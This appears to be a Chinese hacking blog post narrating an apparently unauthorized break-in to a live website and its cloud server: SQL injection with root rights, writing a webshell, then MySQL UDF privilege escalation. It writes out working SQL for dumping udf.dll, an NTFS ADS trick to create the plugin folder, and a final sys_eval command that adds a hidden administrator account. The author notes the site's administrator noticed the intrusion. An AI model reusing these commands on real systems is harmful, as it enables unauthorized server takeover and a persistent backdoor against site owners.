#切勿玩火,本次测试。未动任何数据资料。仅为技术学习。
#0x1:扫描,Getshell
这次主要是回忆录,因为为了这个站,被吓的不要不要的了。深度怀疑入侵的是蜜罐。但是正际要深入,管理员发现了.故不由得停止步伐。
起因,一个安全交流群发出该注入点,称注入不出来。我便帮忙给测试一下。
http://www.xx.com/xx.php?c=3
顺利注入出,检测出来还是root权限。
在url后添加特殊字符,便轻易的爆出来该站的绝对路劲,使用file写入webshell。如此顺利的拿到了webshell。
#0x2:提权服务器
C盘全盘不可读不可写,数据库方面实在无奈。把完整的步骤给大家吧。让大家有所学。
因最初没看C盘,不知道C盘是否可读可写。然后直接奔数据库。
第一思路就是使用“UDF提权”
上一个UDF.PHP
然后顺利连接到数据库,到处udf.dll(PS:这里没注意,导出dll的地址。UDF.PHP给导出成了c:windowssystem32udf.dll)
然后使用以下mysql命令创建一个cmdshell
create function cmdshell returns string soname ‘udf.dll‘;
可是一直出错。并且提示
数据库查讯出错,请检查SQL语句create function cmdshell returns string soname ‘udf.dll’的语法是否正确。Function ‘cmdshell’already exists
心中懊恼,Tell me why。
作为贵州大山里的一名新手司机而言这无疑是难啊。于是就百度了。
创建plugin文件夹,可以用<NTFS ADS流>来进行突破新建文件夹,这是群里冰河同学分享的笔记,笔记如下。特别感谢哈。
/* 某些情况下,我们会遇到Can‘t open shared library的情况,这时就需要我们把udf.dll导出到lib\plugin目录下才可以,但是默认情况下plugin不存在,怎么办? 还好有大牛研究出了利用NTFS ADS流来创建文件夹的方法 select @@basedir; //查找mysql的目录 select ‘It is dll‘ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION‘; //使用NTFS ADS流创建lib目录 select ‘It is dll‘ into dumpfile ‘C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION‘; //利用NTFS ADS再次创建plugin目录 执行成功以后再进行导出即可。 */
然而最终依旧是失败的。愿意就是我上面说的。
dll的导出地址是错误的。
后来大贵州的我,机智的我发现了这一问题。
便将目录修改为“c:\\windows\\system32\\udf.dll”
OK,如此就顺利又突破了一个小难题。但是依旧最后的执行cmdshell的时候,依旧错误。并且最后拿下的时候udf.dll也没能成功导入。(PS:此时我发现了问题,C盘全盘不可读不可写。但其实这也是一个错误的发现。因为root的权限其实就可以说是system权限。)
然后我放弃了这条路。因为C盘没辙,数据库文件都在C盘
然后在看到了一个程序“filezzia” 这是一款FTP管理软件,之前使用XAMPP的时候用过。
于是就科普了一下百度。此Ftp阔不阔一提权。
于是找到了一篇相关的文章:http://www.myhack58.com/Article/html/3/8/2011/31520.htm
可是呢,我也下载了filezilla来看看默认的安装目录,
管理员密码以及端口都是保存在FileZilla Server Interface.xml文件里的
那么问题的关键来了,fiilezilla特么的是安装在C盘了。这就尴尬了。
补丁也是蛮多的。是一台阿里云主机,又开启了360.这就尴尬了。至此提权一筹莫展。拿起在上房屋建组构造课的时候一直在思索,exp连最新的即i个都倍无奈。怎叫老夫何以下手呀。
然后让学习交流群里的几位大牛尝试一下,可是呢,皆以无果告终。后来我的表哥告诉我。root就是system权限!
那么问题的关键来了。为啥会system了还创建不了cmdshell函数呢?tell why???
原因很简单那。TMD就是管理员禁用了cmdshell函数。行吧。那咱就用sys_eval函数。cmdshell同sys_eval函数的功能一样。
create function sys_eval returns string soname ‘udf.dll‘; create table a (cmd LONGBLOB); insert into a (cmd) values (hex(load_file(‘D:\\Program Files\\MySQL\\MySQL Server 5.0\\Lib\\Plugin\\lib_mysqludf_sys.dll‘))); SELECT unhex(cmd) FROM a INTO DUMPFILE ‘c:\\windows\\system32\\udf.dll‘; create function sys_eval returns string soname ‘udf.dll‘ select sys_eval(‘net user xishaonian$ zhenxishaonianshi! /add & net localgroup administrator xishaonian$ /add‘);
最终就宣告成功拿下服务器。